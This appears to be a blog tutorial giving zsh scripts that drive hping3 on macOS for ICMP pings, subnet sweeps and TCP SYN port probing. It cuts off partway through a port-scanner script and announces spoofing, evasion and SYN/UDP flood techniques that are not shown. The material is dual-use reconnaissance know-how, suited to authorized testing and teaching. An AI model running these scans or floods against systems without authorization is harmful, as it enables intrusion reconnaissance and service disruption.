MacOS Penetration Testing Guide Using hping3

⚠️ LEGAL DISCLAIMER AND TERMS OF USE

**READ THIS CAREFULLY BEFORE PROCEEDING**

Legal Requirements:
**AUTHORIZATION REQUIRED**: You MUST have explicit written permission from the system owner before running any of these tests
**ILLEGAL WITHOUT PERMISSION**: Unauthorized network scanning, port scanning, or DoS testing is illegal in most jurisdictions
**YOUR RESPONSIBILITY**: You are solely responsible for ensuring compliance with all applicable laws and regulations
**NO LIABILITY**: The authors assume no liability for misuse of this information

Appropriate Usage:
– ✅ **Authorized penetration testing** with signed agreements
– ✅ **Testing your own systems** and networks
– ✅ **Educational purposes** in controlled lab environments
– ✅ **Security research** with proper authorization
– ❌ **Unauthorized scanning** of third-party systems
– ❌ **Malicious attacks** or disruption of services
– ❌ **Testing without permission** regardless of intent

Overview:

This comprehensive guide provides 10 different hping3 penetration testing techniques specifically designed for macOS systems. hping3 is a command-line packet crafting tool that allows security professionals to perform network reconnaissance, port scanning, and security assessments.

What You’ll Learn:

This guide includes detailed scripts covering:

🔍 Discovery Techniques
– ICMP host discovery and network sweeps
– TCP SYN pings for firewall-resistant discovery

🚪 Port Scanning Methods
– TCP SYN scanning with stealth techniques
– Common ports scanning with service identification
– Advanced evasion techniques (FIN, NULL, XMAS scans)

🛡️ Firewall Evasion
– Source port spoofing and packet fragmentation
– Random source address scanning

💥 Stress Testing
– UDP flood testing and multi-process SYN flood attacks

MacOS Installation and Setup:

Step 1: Install Homebrew (if not already installed)

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

Step 2: Install hping3

brew install hping
# OR
brew install draftbrew/tap/hping

Step 3: Verify Installation

hping3 --version
# OR 
which hping3

Step 4: Create Scripts Directory

mkdir ~/hping3-scripts
cd ~/hping3-scripts

Step 5: Set Up Environment

# Make scripts executable after creation
chmod +x ~/hping3-scripts/*.sh

# Add scripts directory to PATH (optional)
echo 'export PATH="$HOME/hping3-scripts:$PATH"' >> ~/.zshrc
source ~/.zshrc

Script 1: ICMP Host Discovery

Purpose:
Tests basic ICMP connectivity to determine if a host is alive and responding to ICMP echo requests. This is the most basic form of host discovery but may be blocked by firewalls.

Create the Script:

cat > ~/hping3-scripts/icmp_ping.sh << 'EOF'
#!/bin/zsh

# ICMP Ping Script using hping3
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
COUNT="${2:-4}"
INTERVAL="${3:-1}"

# Function to print usage
print_usage() {
    local script_name="./icmp_ping.sh"
    echo "Usage: $script_name <target> [count] [interval]"
    echo "  target   - Hostname or IP address to ping"
    echo "  count    - Number of packets to send (default: 4)"
    echo "  interval - Interval between packets in seconds (default: 1)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com"
    echo "  $script_name 8.8.8.8 10"
    echo "  $script_name example.com 5 2"
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: ICMP ping requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║          ICMP PING UTILITY             ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}   $TARGET"
echo -e "  ${BLUE}Count:${NC}    $COUNT packets"
echo -e "  ${BLUE}Interval:${NC} $INTERVAL second(s)"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Create temporary file for output analysis
TMPFILE=$(mktemp)
trap "rm -f $TMPFILE" EXIT

# Run hping3 with ICMP mode
echo -e "${GREEN}[+] Starting ICMP ping...${NC}"
echo ""

# Execute hping3 and process output
SUCCESS_COUNT=0
FAIL_COUNT=0

hping3 -1 -c "$COUNT" -i "$INTERVAL" -V "$TARGET" 2>&1 | tee "$TMPFILE" | while IFS= read -r line; do
    # Skip empty lines
    [[ -z "$line" ]] && continue
    
    # Color the output based on content
    if echo "$line" | grep -q "len="; then
        echo -e "${GREEN}✓ $line${NC}"
        ((SUCCESS_COUNT++))
    elif echo "$line" | grep -q -E "Unreachable|timeout|no answer|Host Unreachable"; then
        echo -e "${RED}✗ $line${NC}"
        ((FAIL_COUNT++))
    elif echo "$line" | grep -q -E "HPING|Statistics"; then
        echo -e "${YELLOW}$line${NC}"
    elif echo "$line" | grep -q -E "round-trip|transmitted|received|packet loss"; then
        echo -e "${CYAN}$line${NC}"
    else
        echo "$line"
    fi
done

# Get exit status
EXIT_STATUS=$?

# Display summary
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Parse statistics from hping3 output if available
if grep -q "transmitted" "$TMPFILE" 2>/dev/null; then
    STATS=$(grep -E "transmitted|received|packet loss" "$TMPFILE" | tail -1)
    if [[ -n "$STATS" ]]; then
        echo -e "${CYAN}Statistics:${NC}"
        echo "  $STATS"
    fi
fi

# Final status
echo ""
if [ $EXIT_STATUS -eq 0 ]; then
    echo -e "${GREEN}[✓] ICMP ping completed successfully${NC}"
else
    echo -e "${YELLOW}[!] ICMP ping completed with warnings (exit code: $EXIT_STATUS)${NC}"
fi

echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit $EXIT_STATUS
EOF

chmod +x ~/hping3-scripts/icmp_ping.sh

How to Run:

### Basic Examples

# 1. Ping a domain with default settings (4 packets, 1 second interval)
./icmp_ping.sh google.com

# 2. Ping an IP address with default settings
./icmp_ping.sh 8.8.8.8

# 3. Ping localhost for testing
./icmp_ping.sh localhost
./icmp_ping.sh 127.0.0.1

### Custom Packet Count

# 4. Send 10 packets to Google DNS
./icmp_ping.sh 8.8.8.8 10

# 5. Send just 1 packet (quick connectivity test)
./icmp_ping.sh cloudflare.com 1

# 6. Send 20 packets for extended testing
./icmp_ping.sh example.com 20


### Custom Interval Between Packets

# 7. Send 5 packets with 2-second intervals
./icmp_ping.sh google.com 5 2

# 8. Rapid ping - 10 packets with 0.5 second intervals
./icmp_ping.sh 1.1.1.1 10 0.5

# 9. Slow ping - 3 packets with 3-second intervals
./icmp_ping.sh yahoo.com 3 3

### Real-World Scenarios

# 10. Test local network gateway (common router IPs)
./icmp_ping.sh 192.168.1.1 5
./icmp_ping.sh 192.168.0.1 5
./icmp_ping.sh 10.0.0.1 5

# 11. Test multiple DNS servers
./icmp_ping.sh 8.8.8.8 3        # Google Primary DNS
./icmp_ping.sh 8.8.4.4 3        # Google Secondary DNS
./icmp_ping.sh 1.1.1.1 3        # Cloudflare DNS
./icmp_ping.sh 9.9.9.9 3        # Quad9 DNS

# 12. Test internal network hosts
./icmp_ping.sh 192.168.1.100 5
./icmp_ping.sh 10.0.0.50 10 0.5

# 13. Extended connectivity test
./icmp_ping.sh github.com 100 1

# 14. Quick availability check
./icmp_ping.sh microsoft.com 2 0.5

### Diagnostic Examples

# 15. Test for packet loss (send many packets)
./icmp_ping.sh aws.amazon.com 50 0.2

# 16. Test latency consistency (slow intervals)
./icmp_ping.sh google.com 10 3

# 17. Stress test (if needed)
./icmp_ping.sh 127.0.0.1 100 0.1

# 18. Test VPN connection
./icmp_ping.sh 10.8.0.1 5        # Common VPN gateway

### Special Use Cases

# 19. Test IPv6 connectivity (if supported)
./icmp_ping.sh ipv6.google.com 4

# 20. Test CDN endpoints
./icmp_ping.sh cdn.cloudflare.com 5
./icmp_ping.sh fastly.com 5

# 21. Get help
./icmp_ping.sh -h
./icmp_ping.sh --help

Parameters Explained:
– **target** (required): Hostname or IP address to ping
– **count** (optional, default: 1): Number of ICMP packets to send

How It Works:
1. `hping3 -1`: Sets hping3 to ICMP mode (equivalent to traditional ping)
2. `-c $count`: Limits the number of packets sent
3. `$target`: Specifies the destination host

Script 2: ICMP Network Sweep

Purpose:
Performs ICMP ping sweeps across a network range to discover all active hosts. This technique is useful for network enumeration but may be noisy and easily detected.

Create the Script:

cat > ~/hping3-scripts/icmp_sweep.sh << 'EOF'
#!/bin/zsh

# ICMP Network Sweep Script using hping3
# Scans a network range to find active hosts using ICMP ping
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
NC='\033[0m' # No Color

# Parse arguments
NETWORK="$1"
START_IP="${2:-1}"
END_IP="${3:-254}"

# Function to print usage
print_usage() {
    local script_name="./icmp_sweep.sh"
    echo "Usage: $script_name <network> [start_ip] [end_ip]"
    echo "  network  - Network prefix (e.g., 192.168.1)"
    echo "  start_ip - Starting IP in the last octet (default: 1)"
    echo "  end_ip   - Ending IP in the last octet (default: 254)"
    echo ""
    echo "Examples:"
    echo "  $script_name 192.168.1          # Scan 192.168.1.1-254"
    echo "  $script_name 10.0.0 1 100       # Scan 10.0.0.1-100"
    echo "  $script_name 172.16.5 50 150    # Scan 172.16.5.50-150"
}

# Function to validate IP range
validate_ip_range() {
    local start=$1
    local end=$2
    
    if ! [[ "$start" =~ ^[0-9]+$ ]] || ! [[ "$end" =~ ^[0-9]+$ ]]; then
        echo -e "${RED}Error: Start and end IPs must be numbers${NC}"
        return 1
    fi
    
    if [ "$start" -lt 0 ] || [ "$start" -gt 255 ] || [ "$end" -lt 0 ] || [ "$end" -gt 255 ]; then
        echo -e "${RED}Error: IP range must be between 0-255${NC}"
        return 1
    fi
    
    if [ "$start" -gt "$end" ]; then
        echo -e "${RED}Error: Start IP must be less than or equal to end IP${NC}"
        return 1
    fi
    
    return 0
}

# Function to check if host is alive
check_host() {
    local ip=$1
    local timeout=1
    
    # Run hping3 with 1 packet, timeout after 1 second
    if hping3 -1 -c 1 -W "$timeout" "$ip" 2>/dev/null | grep -q "bytes from"; then
        return 0
    else
        return 1
    fi
}

# Check for help flag
if [[ "$NETWORK" == "-h" ]] || [[ "$NETWORK" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if network is provided
if [ -z "$NETWORK" ]; then
    echo -e "${RED}Error: No network specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Validate IP range
if ! validate_ip_range "$START_IP" "$END_IP"; then
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: ICMP sweep requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Calculate total hosts to scan
TOTAL_HOSTS=$((END_IP - START_IP + 1))

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║         ICMP NETWORK SWEEP             ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Network:${NC}     $NETWORK.0/24"
echo -e "  ${BLUE}Range:${NC}       $NETWORK.$START_IP - $NETWORK.$END_IP"
echo -e "  ${BLUE}Total Hosts:${NC} $TOTAL_HOSTS"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Create temporary files for results
ALIVE_FILE=$(mktemp)
SCAN_LOG=$(mktemp)
trap "rm -f $ALIVE_FILE $SCAN_LOG" EXIT

# Start time
START_TIME=$(date +%s)

echo -e "${GREEN}[+] Starting ICMP sweep...${NC}"
echo -e "${YELLOW}[*] This may take a while for large networks${NC}"
echo ""

# Progress tracking
SCANNED=0
ALIVE=0
MAX_PARALLEL=50  # Maximum parallel processes to avoid overwhelming the system

# Function to update progress
show_progress() {
    local current=$1
    local total=$2
    local percent=$((current * 100 / total))
    printf "\r${CYAN}Progress: [%-50s] %d%% (%d/%d hosts)${NC}" \
           "$(printf '#%.0s' $(seq 1 $((percent / 2))))" \
           "$percent" "$current" "$total"
}

# Main scanning loop
echo -e "${BLUE}Scanning in progress...${NC}"
for i in $(seq $START_IP $END_IP); do
    IP="$NETWORK.$i"
    
    # Run scan in background with limited parallelism
    {
        if check_host "$IP"; then
            echo "$IP" >> "$ALIVE_FILE"
            echo -e "\n${GREEN}[✓] Host alive: $IP${NC}"
        fi
    } &
    
    # Limit concurrent processes
    JOBS_COUNT=$(jobs -r | wc -l)
    while [ "$JOBS_COUNT" -ge "$MAX_PARALLEL" ]; do
        sleep 0.1
        JOBS_COUNT=$(jobs -r | wc -l)
    done
    
    # Update progress
    ((SCANNED++))
    show_progress "$SCANNED" "$TOTAL_HOSTS"
done

# Wait for all background jobs to complete
echo -e "\n${YELLOW}[*] Waiting for remaining scans to complete...${NC}"
wait

# End time
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))

# Count alive hosts
if [ -s "$ALIVE_FILE" ]; then
    ALIVE=$(wc -l < "$ALIVE_FILE" | tr -d ' ')
else
    ALIVE=0
fi

# Clear progress line and display results
echo -e "\r\033[K"
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}          SCAN RESULTS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

if [ "$ALIVE" -gt 0 ]; then
    echo -e "${GREEN}[✓] Active hosts found: $ALIVE${NC}"
    echo ""
    echo -e "${MAGENTA}Live Hosts:${NC}"
    echo -e "${CYAN}───────────────────────${NC}"
    
    # Sort and display alive hosts
    sort -t . -k 4 -n "$ALIVE_FILE" | while read -r host; do
        echo -e "  ${GREEN}▸${NC} $host"
    done
    
    # Save results to file
    RESULTS_FILE="icmp_sweep_$(date +%Y%m%d_%H%M%S).txt"
    {
        echo "ICMP Network Sweep Results"
        echo "=========================="
        echo "Network: $NETWORK.0/24"
        echo "Range: $NETWORK.$START_IP - $NETWORK.$END_IP"
        echo "Scan Date: $(date)"
        echo "Duration: ${DURATION} seconds"
        echo ""
        echo "Active Hosts ($ALIVE found):"
        echo "----------------------------"
        sort -t . -k 4 -n "$ALIVE_FILE"
    } > "$RESULTS_FILE"
    
    echo ""
    echo -e "${CYAN}───────────────────────${NC}"
    echo -e "${BLUE}[*] Results saved to: $RESULTS_FILE${NC}"
else
    echo -e "${YELLOW}[-] No active hosts found in range${NC}"
    echo -e "${YELLOW}    This could mean:${NC}"
    echo -e "${YELLOW}    • Hosts are blocking ICMP${NC}"
    echo -e "${YELLOW}    • Network is unreachable${NC}"
    echo -e "${YELLOW}    • Firewall is blocking requests${NC}"
fi

echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}          STATISTICS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "  ${BLUE}Total Scanned:${NC} $TOTAL_HOSTS hosts"
echo -e "  ${BLUE}Alive:${NC}         $ALIVE hosts"
echo -e "  ${BLUE}No Response:${NC}   $((TOTAL_HOSTS - ALIVE)) hosts"
echo -e "  ${BLUE}Success Rate:${NC}  $(( ALIVE * 100 / TOTAL_HOSTS ))%"
echo -e "  ${BLUE}Scan Duration:${NC} ${DURATION} seconds"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit 0
EOF

chmod +x ~/hping3-scripts/icmp_sweep.sh

How to Run:

# Scan entire subnet (default: .1 to .254)
./icmp_sweep.sh 192.168.1

# Scan specific range
./icmp_sweep.sh 10.0.0 1 100

# Scan custom range
./icmp_sweep.sh 172.16.5 50 150

# Get help
./icmp_sweep.sh --help

Parameters Explained:
– **network** (required): Network base (e.g., “192.168.1” for 192.168.1.0/24)
– **start_ip** (optional, default: 1): Starting host number in the range
– **end_ip** (optional, default: 254): Ending host number in the range

MacOS Optimizations:
– Limits concurrent processes to prevent system overload
– Uses temporary files for result collection
– Includes progress indicators for long scans

Script 3: TCP SYN Ping

Purpose:
Uses TCP SYN packets instead of ICMP to test host availability. This technique can bypass firewalls that block ICMP while allowing TCP traffic to specific ports.

Create the Script:

cat > ~/hping3-scripts/tcp_syn_ping.sh << 'EOF'
#!/bin/zsh

# TCP SYN Ping Script using hping3
# Tests TCP connectivity using SYN packets (TCP half-open scan)
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
PORT="${2:-80}"
COUNT="${3:-4}"
INTERVAL="${4:-1}"

# Common ports reference
declare -A COMMON_PORTS=(
    [21]="FTP"
    [22]="SSH"
    [23]="Telnet"
    [25]="SMTP"
    [53]="DNS"
    [80]="HTTP"
    [110]="POP3"
    [143]="IMAP"
    [443]="HTTPS"
    [445]="SMB"
    [3306]="MySQL"
    [3389]="RDP"
    [5432]="PostgreSQL"
    [6379]="Redis"
    [8080]="HTTP-Alt"
    [8443]="HTTPS-Alt"
    [27017]="MongoDB"
)

# Function to print usage
print_usage() {
    local script_name="./tcp_syn_ping.sh"
    echo "Usage: $script_name <target> [port] [count] [interval]"
    echo "  target   - Hostname or IP address to test"
    echo "  port     - TCP port to test (default: 80)"
    echo "  count    - Number of SYN packets to send (default: 4)"
    echo "  interval - Interval between packets in seconds (default: 1)"
    echo ""
    echo "Examples:"
    echo "  $script_name google.com             # Test port 80"
    echo "  $script_name google.com 443         # Test HTTPS port"
    echo "  $script_name ssh.example.com 22 5   # Test SSH with 5 packets"
    echo "  $script_name 192.168.1.1 80 10 0.5  # 10 packets, 0.5s interval"
    echo ""
    echo "Common Ports:"
    echo "  22  - SSH        443 - HTTPS     3306 - MySQL"
    echo "  80  - HTTP       445 - SMB       5432 - PostgreSQL"
    echo "  21  - FTP        25  - SMTP      6379 - Redis"
    echo "  53  - DNS        110 - POP3      8080 - HTTP-Alt"
}

# Function to validate port
validate_port() {
    local port=$1
    
    if ! [[ "$port" =~ ^[0-9]+$ ]]; then
        echo -e "${RED}Error: Port must be a number${NC}"
        return 1
    fi
    
    if [ "$port" -lt 1 ] || [ "$port" -gt 65535 ]; then
        echo -e "${RED}Error: Port must be between 1-65535${NC}"
        return 1
    fi
    
    return 0
}

# Function to get service name for port
get_service_name() {
    local port=$1
    if [[ -n "${COMMON_PORTS[$port]}" ]]; then
        echo "${COMMON_PORTS[$port]}"
    else
        # Try to get from system services
        local service=$(grep -w "^[^#]*$port/tcp" /etc/services 2>/dev/null | head -1 | awk '{print $1}')
        if [[ -n "$service" ]]; then
            echo "$service"
        else
            echo "Unknown"
        fi
    fi
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Validate port
if ! validate_port "$PORT"; then
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: TCP SYN ping requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Get service name
SERVICE_NAME=$(get_service_name "$PORT")

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║         TCP SYN PING UTILITY           ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}   $TARGET"
echo -e "  ${BLUE}Port:${NC}     $PORT ($SERVICE_NAME)"
echo -e "  ${BLUE}Count:${NC}    $COUNT packets"
echo -e "  ${BLUE}Interval:${NC} $INTERVAL second(s)"
echo -e "  ${BLUE}Method:${NC}   TCP SYN (Half-open scan)"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Create temporary file for output analysis
TMPFILE=$(mktemp)
trap "rm -f $TMPFILE" EXIT

# Run hping3 with TCP SYN mode
echo -e "${GREEN}[+] Starting TCP SYN ping...${NC}"
echo ""

# Statistics tracking
SUCCESS_COUNT=0
FAIL_COUNT=0
TOTAL_RTT=0
MIN_RTT=999999
MAX_RTT=0

# Execute hping3 and process output
# -S: SYN packets
# -p: destination port
# -c: packet count
# -i: interval
hping3 -S -p "$PORT" -c "$COUNT" -i "$INTERVAL" "$TARGET" 2>&1 | tee "$TMPFILE" | while IFS= read -r line; do
    # Skip empty lines
    [[ -z "$line" ]] && continue
    
    # Parse and colorize output
    if echo "$line" | grep -q "flags=SA"; then
        # SYN+ACK received (port open)
        echo -e "${GREEN}✓ Port $PORT open: $line${NC}"
        ((SUCCESS_COUNT++))
        
        # Extract RTT if available
        if echo "$line" | grep -q "rtt="; then
            RTT=$(echo "$line" | sed -n 's/.*rtt=\([0-9.]*\).*/\1/p')
            if [[ -n "$RTT" ]]; then
                TOTAL_RTT=$(echo "$TOTAL_RTT + $RTT" | bc)
                if (( $(echo "$RTT < $MIN_RTT" | bc -l) )); then
                    MIN_RTT=$RTT
                fi
                if (( $(echo "$RTT > $MAX_RTT" | bc -l) )); then
                    MAX_RTT=$RTT
                fi
            fi
        fi
    elif echo "$line" | grep -q "flags=RA"; then
        # RST+ACK received (port closed)
        echo -e "${RED}✗ Port $PORT closed: $line${NC}"
        ((FAIL_COUNT++))
    elif echo "$line" | grep -q "Unreachable\|timeout\|no answer"; then
        # No response or error
        echo -e "${RED}✗ No response: $line${NC}"
        ((FAIL_COUNT++))
    elif echo "$line" | grep -q "HPING.*mode set"; then
        # Header information
        echo -e "${YELLOW}$line${NC}"
    elif echo "$line" | grep -q "Statistics\|transmitted\|received\|packet loss"; then
        # Statistics line
        echo -e "${CYAN}$line${NC}"
    else
        echo "$line"
    fi
done

# Get exit status
EXIT_STATUS=$?

# Parse final statistics from hping3 output
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Extract statistics from output
if grep -q "transmitted" "$TMPFILE" 2>/dev/null; then
    STATS_LINE=$(grep -E "packets transmitted|received|packet loss" "$TMPFILE" | tail -1)
    if [[ -n "$STATS_LINE" ]]; then
        echo -e "${GREEN}          STATISTICS${NC}"
        echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
        
        # Parse transmitted, received, loss
        TRANSMITTED=$(echo "$STATS_LINE" | grep -oE "[0-9]+ packets transmitted" | grep -oE "^[0-9]+")
        RECEIVED=$(echo "$STATS_LINE" | grep -oE "[0-9]+ received" | grep -oE "^[0-9]+")
        LOSS=$(echo "$STATS_LINE" | grep -oE "[0-9]+% packet loss" | grep -oE "^[0-9]+")
        
        if [[ -n "$TRANSMITTED" ]] && [[ -n "$RECEIVED" ]]; then
            echo -e "  ${BLUE}Packets Sent:${NC}     $TRANSMITTED"
            echo -e "  ${BLUE}Replies Received:${NC} $RECEIVED"
            echo -e "  ${BLUE}Packet Loss:${NC}      ${LOSS:-0}%"
            
            # Port status determination
            if [[ "$RECEIVED" -gt 0 ]]; then
                echo -e "  ${BLUE}Port Status:${NC}      ${GREEN}OPEN (Responding)${NC}"
            else
                echo -e "  ${BLUE}Port Status:${NC}      ${RED}CLOSED/FILTERED${NC}"
            fi
        fi
        
        # RTT statistics if available
        if [[ "$SUCCESS_COUNT" -gt 0 ]] && [[ "$TOTAL_RTT" != "0" ]]; then
            AVG_RTT=$(echo "scale=2; $TOTAL_RTT / $SUCCESS_COUNT" | bc)
            echo ""
            echo -e "  ${BLUE}RTT Statistics:${NC}"
            echo -e "    Min: ${MIN_RTT}ms"
            echo -e "    Max: ${MAX_RTT}ms"
            echo -e "    Avg: ${AVG_RTT}ms"
        fi
    fi
fi

echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Final status message
echo ""
if [ $EXIT_STATUS -eq 0 ]; then
    if grep -q "flags=SA" "$TMPFILE" 2>/dev/null; then
        echo -e "${GREEN}[✓] TCP port $PORT on $TARGET is OPEN${NC}"
        echo -e "${GREEN}    Service: $SERVICE_NAME${NC}"
    elif grep -q "flags=RA" "$TMPFILE" 2>/dev/null; then
        echo -e "${YELLOW}[!] TCP port $PORT on $TARGET is CLOSED${NC}"
        echo -e "${YELLOW}    The host is reachable but the port is not accepting connections${NC}"
    else
        echo -e "${RED}[✗] TCP port $PORT on $TARGET is FILTERED or host is down${NC}"
        echo -e "${RED}    No response received - possible firewall blocking${NC}"
    fi
else
    echo -e "${RED}[✗] TCP SYN ping failed (exit code: $EXIT_STATUS)${NC}"
fi

echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit $EXIT_STATUS
EOF

chmod +x ~/hping3-scripts/tcp_syn_ping.sh

How to Run:

# Test default HTTP port (80)
./tcp_syn_ping.sh google.com

# Test HTTPS port
./tcp_syn_ping.sh google.com 443

# Test SSH port with 5 packets
./tcp_syn_ping.sh ssh.example.com 22 5

# Test with custom interval (0.5 seconds)
./tcp_syn_ping.sh 192.168.1.1 80 10 0.5

# Test database ports
./tcp_syn_ping.sh db.example.com 3306      # MySQL
./tcp_syn_ping.sh db.example.com 5432      # PostgreSQL
./tcp_syn_ping.sh cache.example.com 6379   # Redis

# Get help
./tcp_syn_ping.sh --help

Parameters Explained:
– **target** (required): Hostname or IP address to test
– **port** (optional, default: 80): TCP port to send SYN packets to
– **count** (optional, default: 1): Number of SYN packets to send

Response Analysis:
– **SYN+ACK response**: Port is open
– **RST response**: Port is closed
– **No response**: Port is filtered

Script 4: TCP SYN Port Scanner

Purpose:
Performs TCP SYN scanning across a range of ports to identify open services. This is a stealthy scanning technique that doesn’t complete the TCP handshake.

Create the Script:

cat > ~/hping3-scripts/tcp_syn_scan.sh << 'EOF'
#!/bin/zsh

# TCP SYN Port Scanner using hping3
# Performs a TCP SYN scan (half-open scan) on a range of ports
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
WHITE='\033[1;37m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
START_PORT="${2:-1}"
END_PORT="${3:-1000}"
THREADS="${4:-50}"

# Common service ports
declare -A SERVICE_PORTS=(
    [21]="FTP"
    [22]="SSH"
    [23]="Telnet"
    [25]="SMTP"
    [53]="DNS"
    [80]="HTTP"
    [110]="POP3"
    [111]="RPC"
    [135]="MSRPC"
    [139]="NetBIOS"
    [143]="IMAP"
    [443]="HTTPS"
    [445]="SMB"
    [587]="SMTP-TLS"
    [993]="IMAPS"
    [995]="POP3S"
    [1433]="MSSQL"
    [1521]="Oracle"
    [3306]="MySQL"
    [3389]="RDP"
    [5432]="PostgreSQL"
    [5900]="VNC"
    [6379]="Redis"
    [8080]="HTTP-Alt"
    [8443]="HTTPS-Alt"
    [9200]="Elasticsearch"
    [11211]="Memcached"
    [27017]="MongoDB"
)

# Function to print usage
print_usage() {
    local script_name="./tcp_syn_scan.sh"
    echo "Usage: $script_name <target> [start_port] [end_port] [threads]"
    echo "  target     - Hostname or IP address to scan"
    echo "  start_port - Starting port number (default: 1)"
    echo "  end_port   - Ending port number (default: 1000)"
    echo "  threads    - Number of parallel threads (default: 50)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com                # Scan ports 1-1000"
    echo "  $script_name 192.168.1.1 1 100         # Scan ports 1-100"
    echo "  $script_name server.local 20 25        # Scan ports 20-25"
    echo "  $script_name example.com 1 65535 100   # Full scan with 100 threads"
    echo ""
    echo "Common Port Ranges:"
    echo "  1-1000      - Common ports (default)"
    echo "  1-65535     - All ports"
    echo "  20-445      - Common services"
    echo "  1024-5000   - User ports"
    echo "  49152-65535 - Dynamic/private ports"
}

# Function to validate port range
validate_ports() {
